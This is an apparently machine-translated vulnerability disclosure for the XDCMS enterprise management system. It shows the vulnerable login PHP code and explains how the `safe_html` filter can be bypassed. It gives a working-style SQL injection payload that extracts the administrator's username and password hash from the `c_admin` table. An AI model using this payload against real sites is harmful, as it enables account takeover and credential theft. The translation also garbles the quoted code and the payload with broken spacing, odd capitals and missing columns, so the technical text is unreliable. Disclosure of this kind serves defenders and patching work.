XDCMS enterprise management system SQL Injection #2

Source: Internet
Author: User

The latest version of XDCMS enterprise management system, due to lax filtering, can bypass restrictions, resulting in SQL injection in the XDCMS enterprise management system login function, look at \ system \ modules \ member \ index. PHP file: login_save is called during logon for Logon verification. The problem lies in index. login_save function of php:

Public function login_save () {$ username = safe_html ($ _ POST ['username']); // obtain the username and filter it using safe_html. This vulnerability exists and can be bypassed, inject $ password = safe_html ($ _ POST ['Password']); if (empty ($ username) | empty ($ password )) {showmsg (C ('user _ pass_empty '),'-1');} $ SQL = "select * from ". DB_PRE. "member where 'username' = '$ username'"; // inject if ($ this-> mysql-> num_rows ($ SQL) here by bypassing the restriction) = 0) {showmsg (C ('Member _ not_exist '),'-1');} $ password = m D5 (md5 ($ password); $ rs = $ this-> mysql-> get_one ($ SQL); if ($ password! = $ Rs ['Password']) {showmsg (C ('password _ error'), '-1 ');} if ($ rs ['is _ lock'] = 1) {showmsg (C ('user _ lock'), '-1 ');} $ logins = $ rs ["logins"] + 1; $ ip = safe_replace (safe_html (getip (); $ this-> mysql-> db_update ("member ", "'last _ ip' = '". $ ip. "', 'last _ time' = ". datetime (). ", 'logins' = ". $ logins, "'username' = '$ username'"); Cookie: _ setcookie (array ('name' => 'Member _ user ', 'value' => $ username); Cookie: _ setcookie (array ('name' => 'Member _ Userid', 'value' => $ rs ['userid']); Cookie: _ setcookie (array ('name' => 'Member _ groupid ', 'value' => $ rs ['groupid']); unset ($ rs); showmsg (C ("login_success"), "index. php? M = member ");}

 

Because safe_html is used to filter UserName, safe_html only filters sensitive words and = and * According to lowercase characters in SQL injection. However, this is only a defect and can be bypassed,. We use a lower-case SQL statement that is not practical = and * When logging on, we capture packets and add the following content after the UserName value: 'Union SELECT, 9, 10, 11,12, 13,14 FROM (SELECT count (1), concat (round (rand (0), (SELECT concat (username, 0x23, password) FROM c_admin LIMIT 0, 1 )) a FROM information_schema.tables GROUP by a) B # the Administrator's username and password can be injected.
Solution:Strict Filtering

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.